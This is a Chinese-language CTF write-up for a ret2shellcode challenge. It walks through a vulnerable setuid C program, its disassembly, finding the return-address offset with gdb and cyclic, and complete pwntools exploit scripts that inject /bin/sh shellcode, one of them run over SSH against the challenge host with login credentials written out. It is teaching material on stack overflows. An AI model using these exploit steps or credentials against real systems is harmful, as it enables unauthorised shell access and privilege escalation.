摘要
闲来无事做几个简单的pwn玩玩: ret2shellcode
题目
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int main(int argc, char **argv) { // This prevents /bin/sh from dropping the privileges setreuid(geteuid(), geteuid());
unsigned long int n; char *endchar; char buf[64];
if (argc != 2) { fprintf(stderr, "Please give a number\n"); return 1; }
/* Convert the user's number to an integer */ n = strtoumax(argv[1], &endchar, 10);
printf("buffer is at %p\n", buf);
if (read(STDIN_FILENO, buf, n) == 0) return 1;
return 0; }
|
确认系统保护开启状态
文件下载下来,并使用 checksec 查看,可以看到都是关闭状态
1 2
| scp pwn025@pwn.baectf.com:/home/pwn025/runme ./runme checksec runm
|
检查文件平台为 x86-64
1 2
| ubuntu@VM-0-10-ubuntu:~/ctf/stackoverflow/ret2shellcode$ file runme runme: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=49c714829f0e52ddd585916e4ec5d462a4ccee4a, not stripped
|
技术讲解
我们的攻击方法可以简单分成3个部分来解释:
- 对程序发送一段超过buffer长度的字串,产生overflow。
- 因为overflow部分会继续被写入内存,最终会覆盖到内存中的return address,使其指向我们想要执行的shellcode。
- 当程式执行完毕return时,就会被导向错误的内存地址,继续执行我们植入的shellcode。
简单图解:(关于buffer overflow更详细的原理解释,可以参考reference中的前两个连结)
反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| pwndbg> disassemble main Dump of assembler code for function main: 0x00000000000011e9 <+0>: endbr64 0x00000000000011ed <+4>: push rbp 0x00000000000011ee <+5>: mov rbp,rsp 0x00000000000011f1 <+8>: push rbx 0x00000000000011f2 <+9>: sub rsp,0x68 0x00000000000011f6 <+13>: mov DWORD PTR [rbp-0x64],edi 0x00000000000011f9 <+16>: mov QWORD PTR [rbp-0x70],rsi 0x00000000000011fd <+20>: call 0x10b0 <geteuid@plt> 0x0000000000001202 <+25>: mov ebx,eax 0x0000000000001204 <+27>: call 0x10b0 <geteuid@plt> 0x0000000000001209 <+32>: mov esi,ebx 0x000000000000120b <+34>: mov edi,eax 0x000000000000120d <+36>: call 0x10d0 <setreuid@plt> 0x0000000000001212 <+41>: cmp DWORD PTR [rbp-0x64],0x2 0x0000000000001216 <+45>: je 0x1242 <main+89> 0x0000000000001218 <+47>: mov rax,QWORD PTR [rip+0x2e01] # 0x4020 <stderr@GLIBC_2.2.5> 0x000000000000121f <+54>: mov rcx,rax 0x0000000000001222 <+57>: mov edx,0x15 0x0000000000001227 <+62>: mov esi,0x1 0x000000000000122c <+67>: lea rax,[rip+0xdd1] # 0x2004 0x0000000000001233 <+74>: mov rdi,rax 0x0000000000001236 <+77>: call 0x10f0 <fwrite@plt> 0x000000000000123b <+82>: mov eax,0x1 0x0000000000001240 <+87>: jmp 0x12a6 <main+189> 0x0000000000001242 <+89>: mov rax,QWORD PTR [rbp-0x70] 0x0000000000001246 <+93>: add rax,0x8 0x000000000000124a <+97>: mov rax,QWORD PTR [rax] 0x000000000000124d <+100>: lea rcx,[rbp-0x20] 0x0000000000001251 <+104>: mov edx,0xa 0x0000000000001256 <+109>: mov rsi,rcx 0x0000000000001259 <+112>: mov rdi,rax 0x000000000000125c <+115>: call 0x10e0 <strtoumax@plt> 0x0000000000001261 <+120>: mov QWORD PTR [rbp-0x18],rax 0x0000000000001265 <+124>: lea rax,[rbp-0x60] 0x0000000000001269 <+128>: mov rsi,rax 0x000000000000126c <+131>: lea rax,[rip+0xda7] # 0x201a 0x0000000000001273 <+138>: mov rdi,rax 0x0000000000001276 <+141>: mov eax,0x0 0x000000000000127b <+146>: call 0x10a0 <printf@plt> 0x0000000000001280 <+151>: mov rdx,QWORD PTR [rbp-0x18] 0x0000000000001284 <+155>: lea rax,[rbp-0x60] 0x0000000000001288 <+159>: mov rsi,rax 0x000000000000128b <+162>: mov edi,0x0 0x0000000000001290 <+167>: call 0x10c0 <read@plt> 0x0000000000001295 <+172>: test rax,rax 0x0000000000001298 <+175>: jne 0x12a1 <main+184> 0x000000000000129a <+177>: mov eax,0x1 0x000000000000129f <+182>: jmp 0x12a6 <main+189> 0x00000000000012a1 <+184>: mov eax,0x0 0x00000000000012a6 <+189>: mov rbx,QWORD PTR [rbp-0x8] 0x00000000000012aa <+193>: leave 0x00000000000012ab <+194>: ret End of assembler dump.
|
根据 IDA的反编译我们也可以看到 buf 的地址就是这个位置,将buf地址复制给到 rsi 作为函数的第二个参数,使用快捷键B可以看到相对于 ebp 的地址偏移位 60h
根据函数调用的调用范式,我们知道返回地址大概率存在于 rbp+0x8的位置,也就是 buf 和 retrun 的相对距离为 68h, 但是为了确定我们再动态调试进行计算看看是否如我们所料
我们构造一个超长的payload,让程序崩溃
1
| python3 -c 'print("A" * 200)' > payload.txt
|
使用 gdb 进行调试
1 2 3
| gdb file ret2shellcode run 200 < payload.txt
|
可以看到 rsp 此时的地址为:
1 2
| rsp:0x7fffffffe2c8 buf:0x7fffffffe260
|
为什么要这么调试呢,我们知道函数最后是 leave 和 ret , leave 的作用是退栈,也就是还原栈的位置,相当于下面的命令
ret 则是负责 return 到之前存储的返回地址,相当于下面的命令
而这里的 pop 就是把 rsp 指向的地址的内容 pop出来,这个地址内容就是return的目标地址,因此 rsp 的地址就是 return 地址的存储位置,也就是我们要覆盖的地址空间
同理我们下断点进行调试,当断点执行到 ret 指令的时候我们查看 rsp 的值,这样我们也能获得到对应的 return 地址所在的地址空间
1 2 3
| b read //在read 函数下断点 run ni
|
或者使用 pwntools 的 cyclic 生成字符帮我们计算
1 2 3 4
| pwndbg> cyclic 200 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa // 将字符复制到 payload2.txt 中,并开启调试 run 200 < payload2.txt
|
找到被覆盖的位置,并把覆盖的值输入 cyclic 让他帮我们计算
1
| pwndbg> cyclic -l 0x616161616161616e
|
可以看到计算的结果 104 就等于我们之前算到的 68h,至此,我们可以分析得出,我们的payload的长度为 68h+8h 字节,接下来我们要分析shellcode
shellcode 是一段16进制的代码,可以直接注入内存并被直接执行,简单的shellcode目前有现成的平台供我们搜索:https://shell-storm.org/shellcode/index.html(shell-storm上有非常多针对不同的作业系统和CPU,执行不同功能的shellcode,我们只要在网站上,根据我们的作业系统及CPU指令集选择合适的shellcode来用即可), 或者对于我们只需要执行/bin/sh 我们可以直接使用pwntools 为我们提供的能力
1 2
| shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64') payload = shellcode.ljust(104, b'A')+p64(0x7fffffffea00)
|
下面我们看下 shellcode 的长度是不是超过了 104,只有48 是满足要求的
len(asm(shellcraft.amd64.linux.sh(), arch=’amd64’))
48
构造我们的本地调试的 exp.py
我们分析的时候程序的 buf 地址发生了一些变化,但是整体的相对地址是不会变化的,这里我们只需要在脚本里修改一下即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
# 设置连接信息 executable_path = './ret2shellcode' # 可执行文件的路径
# payload 构造 shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64') payload = shellcode.ljust(104, b'A')+p64(0x7fffffffe2d0)
target_program = process([executable_path, '200'])
target_program.sendline(payload)
try: # 设置超时时间为 5 秒 output = target_program.recv(timeout=5) # 接收最多 5 秒的输出 print(output.decode()) # 输出接收到的内容 except Exception as e: print(f"Error: {e}")
# 如果需要进一步交互,可以使用 interactive() 函数进入交互模式 target_program.interactive()
|
远程的代码,要使用到 ssh连接,并且 buf 地址也是不一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
# 设置连接信息 target_ip = 'pwn.baectf.com' # 远程主机的 IP 地址 target_port = 22 # 默认的 SSH 端口 username = 'pwn025' # SSH 用户名 password = 'butterscotchtopping' # SSH 密码 executable_path = './runme' # 可执行文件的路径
# payload 构造 shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64') payload = shellcode.ljust(104, b'A')+p64(0x7fffffffea40)
# 通过 SSH 连接到远程主机 p = ssh(host=target_ip, user=username, password=password, port=target_port)
# 在远程主机上执行可执行文件,并传递 payload 作为命令行参数 target_program = p.process([executable_path, '200'])
target_program.sendline(payload)
try: # 设置超时时间为 5 秒 output = target_program.recv(timeout=5) # 接收最多 5 秒的输出 print(output.decode()) # 输出接收到的内容 except Exception as e: print(f"Error: {e}")
# 如果需要进一步交互,可以使用 interactive() 函数进入交互模式 target_program.interactive()
|